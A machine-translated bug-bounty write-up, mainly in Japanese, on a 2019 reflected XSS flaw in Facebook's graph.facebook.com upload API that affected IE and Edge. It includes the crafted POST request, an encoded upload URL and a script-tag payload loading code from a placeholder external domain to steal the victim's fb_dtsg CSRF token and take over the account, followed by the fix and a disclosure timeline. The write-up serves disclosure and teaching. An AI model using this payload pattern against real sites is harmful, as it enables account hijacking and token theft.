脆弱性の状況
この脆弱性は IE および Edge ブラウザーでのみ有効であり、脆弱性の原因は graph.facebook です。 com
の一部の API エンドポイントは、HTML コード応答を処理するときに完全かつ安全なエスケープ手段を実装していません。応答メッセージは JSON 形式であり、HTML コードはいずれかのフィールドの値として含まれており、応答メッセージには Content-Type または X-Content-Type-Options ヘッダーが付属していないため、 IE/Edgeを使用 構築コードが実行されます。
(これら 2 種類のブラウザはページ全体をスキャンして MIME ファイルの種類を決定しますが、他のブラウザは最初の数文字のみをチェックします)。
脆弱性の再発
1. まず、次のアップロード メソッドで POST リクエストを送信します:
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
ACCESS_TOKEN
はAndroid 用 Facebook のファーストパーティ アプリケーションによって生成された有効なユーザー アクセス トークン、PAYLOAD は、被害者をブラウザーで実行するように誘導するために挿入する HTML コードです。リクエストが送信されると、リモート サーバーは次のような値を返します。これには、後で使用されるセッション ID が含まれています (詳細については Facebook の公式手順を参照してください):
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
テスト後、応答メッセージにコンテンツ セキュリティ ポリシー (CSP) の制限がないことが判明したため、外部リンクを含む js ファイルを使用して HTML コードを挿入できないか考えました (例:
<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
2)。ここでのアップロード リクエストは、Facebook バックエンドの Base64 エンコード処理によって行われ、返される表示は次のようになります。これには、特別に埋め込んだペイロードが含まれています:
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48 Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
したがって、このエンコード文字列を使用した後、次のリクエストが発生します。 Facebook への POST リクエストを開始するために使用できます:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s ig=ARaCDqLfwoeI8V3s
3. したがって、上記のリクエスト文字列を使用して、手順 1 で生成した有効な access_token を追加し、HTML Web ページを構築して、それを自分のウェブサイト:
このページには送信スタイルが含まれており、被害者がアクセスした後の応答メッセージは次のとおりです:
{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
重要なことに、https ://DOMAIN.com/script.js
のスクリプト ファイルは、被害者の「fb_dtsg」CSRF トークンを盗み、それを https://www.facebook.com/api/graphql/ に送信するのに役立ちます。
携帯電話番号または電子メール アドレスを使用してリクエストをバインドし、間接的な被害者のアカウント ハイジャックを実現します。
脆弱性の修復
1、在file_type参数中加入对HTML代码处理的安全转义措施; 2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。 漏洞上报及处理进程 2019.10.10 漏洞初报 2019.10.10 Facebook确认 2019.10.11 Facebook修复 2019.10.24 Facebook奖励5000$
おすすめの関連記事とチュートリアル: Web サイトのセキュリティ チュートリアル
以上が反射型 XSS 脆弱性を利用して Facebook アカウントをハイジャックするの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。